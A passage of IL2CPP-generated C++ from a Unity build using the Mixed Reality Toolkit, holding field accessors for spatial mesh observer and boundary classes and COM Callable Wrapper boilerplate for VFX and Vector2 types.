___RemoveMeshObjectPerfMarker_60; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_RemoveMeshObjectPerfMarker_60() { return &___RemoveMeshObjectPerfMarker_60; } inline void set_RemoveMeshObjectPerfMarker_60(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___RemoveMeshObjectPerfMarker_60 = value; } inline static int32_t get_offset_of_ReclaimMeshObjectPerfMarker_61() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___ReclaimMeshObjectPerfMarker_61)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_ReclaimMeshObjectPerfMarker_61() const { return ___ReclaimMeshObjectPerfMarker_61; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_ReclaimMeshObjectPerfMarker_61() { return &___ReclaimMeshObjectPerfMarker_61; } inline void set_ReclaimMeshObjectPerfMarker_61(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___ReclaimMeshObjectPerfMarker_61 = value; } inline static int32_t get_offset_of_ConfigureObserverVolumePerfMarker_62() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___ConfigureObserverVolumePerfMarker_62)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_ConfigureObserverVolumePerfMarker_62() const { return ___ConfigureObserverVolumePerfMarker_62; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_ConfigureObserverVolumePerfMarker_62() { return &___ConfigureObserverVolumePerfMarker_62; } inline void set_ConfigureObserverVolumePerfMarker_62(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___ConfigureObserverVolumePerfMarker_62 = value; } inline static int32_t get_offset_of_UpdateMeshesPerfMarker_66() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___UpdateMeshesPerfMarker_66)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_UpdateMeshesPerfMarker_66() const { return ___UpdateMeshesPerfMarker_66; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_UpdateMeshesPerfMarker_66() { return &___UpdateMeshesPerfMarker_66; } inline void set_UpdateMeshesPerfMarker_66(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___UpdateMeshesPerfMarker_66 = value; } inline static int32_t get_offset_of_MeshGenerationActionPerfMarker_67() { return static_cast(offsetof(GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6_StaticFields, ___MeshGenerationActionPerfMarker_67)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_MeshGenerationActionPerfMarker_67() const { return ___MeshGenerationActionPerfMarker_67; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_MeshGenerationActionPerfMarker_67() { return &___MeshGenerationActionPerfMarker_67; } inline void set_MeshGenerationActionPerfMarker_67(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___MeshGenerationActionPerfMarker_67 = value; } }; // Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityCameraSettings struct WindowsMixedRealityCameraSettings_t88C6B375E46AB4D48219F3C8E154CC63C5EE7136 : public BaseWindowsMixedRealityCameraSettings_tF049E9AFD9544F4C5FAA918FAAAA5936AFA10D98 { public: public: }; // Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityDeviceManager struct WindowsMixedRealityDeviceManager_tBDE7C0F6AA7AC70A5E9DC651A8F65E3F949B16DC : public XRSDKDeviceManager_t776A8F366E07807D56FDDDCE81F3BA02BA178FFD { public: // Microsoft.MixedReality.Toolkit.Input.IMixedRealityGazeProviderHeadOverride Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityDeviceManager::mixedRealityGazeProviderHeadOverride RuntimeObject* ___mixedRealityGazeProviderHeadOverride_29; public: inline static int32_t get_offset_of_mixedRealityGazeProviderHeadOverride_29() { return static_cast(offsetof(WindowsMixedRealityDeviceManager_tBDE7C0F6AA7AC70A5E9DC651A8F65E3F949B16DC, ___mixedRealityGazeProviderHeadOverride_29)); } inline RuntimeObject* get_mixedRealityGazeProviderHeadOverride_29() const { return ___mixedRealityGazeProviderHeadOverride_29; } inline RuntimeObject** get_address_of_mixedRealityGazeProviderHeadOverride_29() { return &___mixedRealityGazeProviderHeadOverride_29; } inline void set_mixedRealityGazeProviderHeadOverride_29(RuntimeObject* value) { ___mixedRealityGazeProviderHeadOverride_29 = value; Il2CppCodeGenWriteBarrier((void**)(&___mixedRealityGazeProviderHeadOverride_29), (void*)value); } }; // Microsoft.MixedReality.Toolkit.XRSDK.XRSDKBoundarySystem struct XRSDKBoundarySystem_t50314CE186E887F0010B2B9954DEB0B6169EF16D : public BaseBoundarySystem_tB6D6CCB121D338F6DD9F5D12C401D1F347DBC85A { public: // System.String Microsoft.MixedReality.Toolkit.XRSDK.XRSDKBoundarySystem::k__BackingField String_t* ___U3CNameU3Ek__BackingField_54; public: inline static int32_t get_offset_of_U3CNameU3Ek__BackingField_54() { return static_cast(offsetof(XRSDKBoundarySystem_t50314CE186E887F0010B2B9954DEB0B6169EF16D, ___U3CNameU3Ek__BackingField_54)); } inline String_t* get_U3CNameU3Ek__BackingField_54() const { return ___U3CNameU3Ek__BackingField_54; } inline String_t** get_address_of_U3CNameU3Ek__BackingField_54() { return &___U3CNameU3Ek__BackingField_54; } inline void set_U3CNameU3Ek__BackingField_54(String_t* value) { ___U3CNameU3Ek__BackingField_54 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CNameU3Ek__BackingField_54), (void*)value); } }; struct XRSDKBoundarySystem_t50314CE186E887F0010B2B9954DEB0B6169EF16D_StaticFields { public: // System.Collections.Generic.List`1 Microsoft.MixedReality.Toolkit.XRSDK.XRSDKBoundarySystem::XRInputSubsystems List_1_t39579540B4BF5D674E4CAA282D3CEA957BCB90D4 * ___XRInputSubsystems_53; public: inline static int32_t get_offset_of_XRInputSubsystems_53() { return static_cast(offsetof(XRSDKBoundarySystem_t50314CE186E887F0010B2B9954DEB0B6169EF16D_StaticFields, ___XRInputSubsystems_53)); } inline List_1_t39579540B4BF5D674E4CAA282D3CEA957BCB90D4 * get_XRInputSubsystems_53() const { return ___XRInputSubsystems_53; } inline List_1_t39579540B4BF5D674E4CAA282D3CEA957BCB90D4 ** get_address_of_XRInputSubsystems_53() { return &___XRInputSubsystems_53; } inline void set_XRInputSubsystems_53(List_1_t39579540B4BF5D674E4CAA282D3CEA957BCB90D4 * value) { ___XRInputSubsystems_53 = value; Il2CppCodeGenWriteBarrier((void**)(&___XRInputSubsystems_53), (void*)value); } }; // Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealitySpatialMeshObserver struct WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2 : public GenericXRSDKSpatialMeshObserver_tE038CEF24AFEF3A9E4130935EAA354A493B641A6 { public: // UnityEngine.Vector3 Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealitySpatialMeshObserver::oldObserverOrigin Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___oldObserverOrigin_69; // UnityEngine.Vector3 Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealitySpatialMeshObserver::oldObservationExtents Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E ___oldObservationExtents_70; // Microsoft.MixedReality.Toolkit.Utilities.VolumeType Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealitySpatialMeshObserver::oldObserverVolumeType int32_t ___oldObserverVolumeType_71; public: inline static int32_t get_offset_of_oldObserverOrigin_69() { return static_cast(offsetof(WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2, ___oldObserverOrigin_69)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_oldObserverOrigin_69() const { return ___oldObserverOrigin_69; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_oldObserverOrigin_69() { return &___oldObserverOrigin_69; } inline void set_oldObserverOrigin_69(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___oldObserverOrigin_69 = value; } inline static int32_t get_offset_of_oldObservationExtents_70() { return static_cast(offsetof(WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2, ___oldObservationExtents_70)); } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E get_oldObservationExtents_70() const { return ___oldObservationExtents_70; } inline Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E * get_address_of_oldObservationExtents_70() { return &___oldObservationExtents_70; } inline void set_oldObservationExtents_70(Vector3_t65B972D6A585A0A5B63153CF1177A90D3C90D65E value) { ___oldObservationExtents_70 = value; } inline static int32_t get_offset_of_oldObserverVolumeType_71() { return static_cast(offsetof(WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2, ___oldObserverVolumeType_71)); } inline int32_t get_oldObserverVolumeType_71() const { return ___oldObserverVolumeType_71; } inline int32_t* get_address_of_oldObserverVolumeType_71() { return &___oldObserverVolumeType_71; } inline void set_oldObserverVolumeType_71(int32_t value) { ___oldObserverVolumeType_71 = value; } }; struct WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2_StaticFields { public: // Unity.Profiling.ProfilerMarker Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealitySpatialMeshObserver::ConfigureObserverVolumePerfMarker ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 ___ConfigureObserverVolumePerfMarker_68; public: inline static int32_t get_offset_of_ConfigureObserverVolumePerfMarker_68() { return static_cast(offsetof(WindowsMixedRealitySpatialMeshObserver_t180096751E0105AB1A2090F58A1C5574520EA7B2_StaticFields, ___ConfigureObserverVolumePerfMarker_68)); } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 get_ConfigureObserverVolumePerfMarker_68() const { return ___ConfigureObserverVolumePerfMarker_68; } inline ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 * get_address_of_ConfigureObserverVolumePerfMarker_68() { return &___ConfigureObserverVolumePerfMarker_68; } inline void set_ConfigureObserverVolumePerfMarker_68(ProfilerMarker_tAE86534C80C5D67768DB3B244D8D139A2E6495E1 value) { ___ConfigureObserverVolumePerfMarker_68 = value; } }; #ifdef __clang__ #pragma clang diagnostic pop #endif il2cpp_hresult_t IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(RuntimeObject* __this); il2cpp_hresult_t IIterable_1_First_m54AC7E778E98ED35C6B7AD98C35C325B8A3DF619_ComCallableWrapperProjectedMethod(RuntimeObject* __this, IIterator_1_tB1AB5AB497E87D6A397AA084D3D3D6B8D211022C** comReturnValue); il2cpp_hresult_t IBindableIterable_First_m91EC6ED0173145266318FDB7F9074798CD766BD7_ComCallableWrapperProjectedMethod(RuntimeObject* __this, IBindableIterator_tD7550F1144CFBE58090050457A2BE92B1CAEABBB** comReturnValue); // System.UInt32 System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::Windows.Storage.Streams.IBuffer.get_Capacity() IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR uint32_t WindowsRuntimeBuffer_Windows_Storage_Streams_IBuffer_get_Capacity_mFCD1D3C1A5DC7CB389927A5529BCD86518ED0AB5_inline (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, const RuntimeMethod* method); // System.UInt32 System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::Windows.Storage.Streams.IBuffer.get_Length() IL2CPP_MANAGED_FORCE_INLINE IL2CPP_METHOD_ATTR uint32_t WindowsRuntimeBuffer_Windows_Storage_Streams_IBuffer_get_Length_mBC04A275BE71FE110C0A6B94A66A5F9726F6461F_inline (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, const RuntimeMethod* method); // System.Void System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::Windows.Storage.Streams.IBuffer.put_Length(System.UInt32) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WindowsRuntimeBuffer_Windows_Storage_Streams_IBuffer_put_Length_m2B1B2192ECCDAE8762FC18CC6B16B4BC5551D95B (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, uint32_t ___value0, const RuntimeMethod* method); // System.IntPtr System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::System.Runtime.InteropServices.WindowsRuntime.IBufferByteAccess.GetBuffer() IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR intptr_t WindowsRuntimeBuffer_System_Runtime_InteropServices_WindowsRuntime_IBufferByteAccess_GetBuffer_mAF0662BC19B20E3AC7377C080B057C9423B49014 (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, const RuntimeMethod* method); // System.Void System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::System.Runtime.InteropServices.IMarshal.GetUnmarshalClass(System.Guid&,System.IntPtr,System.UInt32,System.IntPtr,System.UInt32,System.Guid&) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_GetUnmarshalClass_mF89EBF002568BC8D18BA6B28CE2A02A3C67D8426 (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, Guid_t * ___riid0, intptr_t ___pv1, uint32_t ___dwDestContext2, intptr_t ___pvDestContext3, uint32_t ___mshlFlags4, Guid_t * ___pCid5, const RuntimeMethod* method); // System.Void System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::System.Runtime.InteropServices.IMarshal.GetMarshalSizeMax(System.Guid&,System.IntPtr,System.UInt32,System.IntPtr,System.UInt32,System.UInt32&) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_GetMarshalSizeMax_m4140DA5FB36C45D0C1EC1352BEA8DE6696578064 (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, Guid_t * ___riid0, intptr_t ___pv1, uint32_t ___dwDestContext2, intptr_t ___pvDestContext3, uint32_t ___mshlflags4, uint32_t* ___pSize5, const RuntimeMethod* method); // System.Void System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::System.Runtime.InteropServices.IMarshal.MarshalInterface(System.IntPtr,System.Guid&,System.IntPtr,System.UInt32,System.IntPtr,System.UInt32) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_MarshalInterface_mB73D77AE608A5F1EF29F56F06C45DE1C04B8F639 (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, intptr_t ___pStm0, Guid_t * ___riid1, intptr_t ___pv2, uint32_t ___dwDestContext3, intptr_t ___pvDestContext4, uint32_t ___mshlflags5, const RuntimeMethod* method); // System.Void System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::System.Runtime.InteropServices.IMarshal.UnmarshalInterface(System.IntPtr,System.Guid&,System.IntPtr&) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_UnmarshalInterface_m71734EF46FAADB9CEE534A73D08FC73352F37B39 (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, intptr_t ___pStm0, Guid_t * ___riid1, intptr_t* ___ppv2, const RuntimeMethod* method); // System.Void System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::System.Runtime.InteropServices.IMarshal.ReleaseMarshalData(System.IntPtr) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_ReleaseMarshalData_m1BBAA5FC9C261A979249C3720C077D910619B4BF (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, intptr_t ___pStm0, const RuntimeMethod* method); // System.Void System.Runtime.InteropServices.WindowsRuntime.WindowsRuntimeBuffer::System.Runtime.InteropServices.IMarshal.DisconnectObject(System.UInt32) IL2CPP_EXTERN_C IL2CPP_METHOD_ATTR void WindowsRuntimeBuffer_System_Runtime_InteropServices_IMarshal_DisconnectObject_mA7586ECB5656276267A0336CA96A2083B41B1BBC (WindowsRuntimeBuffer_tE3CF8BF11DD5DE3AD2DEDFC9DFB99C5E6CE0A129 * __this, uint32_t ___dwReserved0, const RuntimeMethod* method); // COM Callable Wrapper for UnityEngine.VFX.VFXEventAttribute struct VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) VFXEventAttribute_tC4E90458100D52776F591CE62B19FF6051F423EF_ComCallableWrapper(obj)); } // COM Callable Wrapper for UnityEngine.VFX.VFXSpawnerState struct VFXSpawnerState_t5879CC401019E9C9D4F81128147AE52AAED167CD_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline VFXSpawnerState_t5879CC401019E9C9D4F81128147AE52AAED167CD_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_VFXSpawnerState_t5879CC401019E9C9D4F81128147AE52AAED167CD(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(VFXSpawnerState_t5879CC401019E9C9D4F81128147AE52AAED167CD_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) VFXSpawnerState_t5879CC401019E9C9D4F81128147AE52AAED167CD_ComCallableWrapper(obj)); } // COM Callable Wrapper for System.Numerics.Vector2 struct Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IReference_1_t3C8A36C7276B7158A344146F353F2DCA871E4630, IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8 { inline Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IReference_1_t3C8A36C7276B7158A344146F353F2DCA871E4630::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(2); interfaceIds[0] = IReference_1_t3C8A36C7276B7158A344146F353F2DCA871E4630::IID; interfaceIds[1] = IPropertyValue_t2D61E5557FBCC9F0476CC32B5738B21EFFA483E8::IID; *iidCount = 2; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IReference_1_get_Value_m4255473F2FF2083F7A9A0B6E89C6B9532942FA5C(Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B * comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B returnValue; try { returnValue = *static_cast(UnBox(GetManagedObjectInline(), Vector2_tBD1CD435E3C2FB549BFC0EB8E331906ABF046D8B_il2cpp_TypeInfo_var)); } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_get_Type_m2BC440F5119A133BE4DD895657519ADAA3B34272(int32_t* comReturnValue) IL2CPP_OVERRIDE { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_runtime_metadata((uintptr_t*)&String_t_il2cpp_TypeInfo_var); s_Il2CppMethodInitialized = true; } il2cpp::vm::ScopedThreadAttacher _vmThreadHelper; // Managed method invocation int32_t returnValue; try { returnValue = 20; } catch (const Il2CppExceptionWrapper& ex) { memset(comReturnValue, 0, sizeof(*comReturnValue)); String_t* exceptionStr = NULL; try { exceptionStr = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, ex.ex); } catch (const Il2CppExceptionWrapper&) { exceptionStr = ((String_t_StaticFields*)il2cpp_codegen_static_fields_for(String_t_il2cpp_TypeInfo_var))->get_Empty_5(); } il2cpp_codegen_store_exception_info(ex.ex, exceptionStr); return ex.ex->hresult; } *comReturnValue = returnValue; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL IPropertyValue_get_IsNumericScalar_mC8DE97926668A5F2EA3F4A9B128E966CBC7B0D60(bool* 